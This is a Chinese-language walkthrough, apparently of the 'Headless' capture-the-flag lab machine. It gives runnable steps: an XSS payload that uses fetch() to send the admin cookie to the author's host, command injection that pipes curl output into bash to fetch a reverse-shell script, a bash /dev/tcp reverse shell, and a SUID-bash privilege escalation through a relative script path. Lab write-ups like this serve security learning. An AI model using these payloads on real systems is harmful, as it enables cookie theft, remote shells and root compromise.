0%

Headless

XSS跨站脚本攻击、sh脚本提权

Headless

信息搜集

使用nmap扫描一下

1
nmap -sV -sC -v --min-rate 1000 10.10.11.8

可以发现5000端口是开放的,继续扫一下目录

访问/dashboard发现只有admin才可以,我们注意到cookie值为JWT加密,拿到揭秘网站验证下猜想

cookie为user用户,那么我们要想访问必须拿到admin的cookie

访问/support路径存在类似提交留言的功能,应该是存在xss注入。

1
<script>alert(1)</script>

提交后会发现提示Hacking

说明思路没错,那么我们可以利用xss注入得到admin的cookie值,payload如下

(利用fetch函数对我们服务器发送网络请求)

1
<img src=1 onerror=fetch("http://10.10.14.34:80/?cookie="+document.cookie);>

经过多次尝试,发现我触发payload的条件必须在User-Agentmessage参数都有才行。而国外师傅们不同wp中User-Agent都是payload触发点,但是message参数值的不同。有的是下图这样而有的是message=test;

不过好在是拿到了admin的cookie

成功访问/dashboard,然后抓包发现data参数存在命令注入

尝试直接反弹shell发现不行,那么试一下用curl命令

  1. 首先在本地创建shell.sh文件,写入

    1
    bash -c "bash -i >& /dev/tcp/10.10.14.34/1028 0>&1"
  2. 然后在本地开启http服务,用来被靶机读取文件

    1
    python3 -m http.server 80
  3. 然后用curl命令去读取我们的shell.sh文件

    1
    date=;curl 10.10.14.34/shell.sh |bash

成功反弹shell

得到user的flag

我们尝试用sudo提权

1
sudo -l

发现只有/usr/bin/syscheck可用

我们strings命令查看下得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
exit 0

重点看下面这段

1
2
3
4
5
6
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
exit 0

这段代码大概意思就是,if语句先使用pgrep命令检测initdb.sh是否存在,如果不存在则执行该sh文件并丢弃错误输出

而我们在根目录下并没有找到该sh文件,那么我们可以简单利用一下

  1. 首先创建initdb.sh文件,写入提升权限的命令

    1
    echo "chmod u+s /bin/bash" > initdb.sh
  2. 然后赋予该sh脚本的执行权限

    1
    chmod +x initdb.sh
  3. 最后sudo执行/usr/bin/syscheck,成功运行sh脚本

    1
    sudo /usr/bin/syscheck

运行sh脚本后,用-p参数启动Bash Shell并以特权模式运行

1
/bin/bash -p

得到root的flag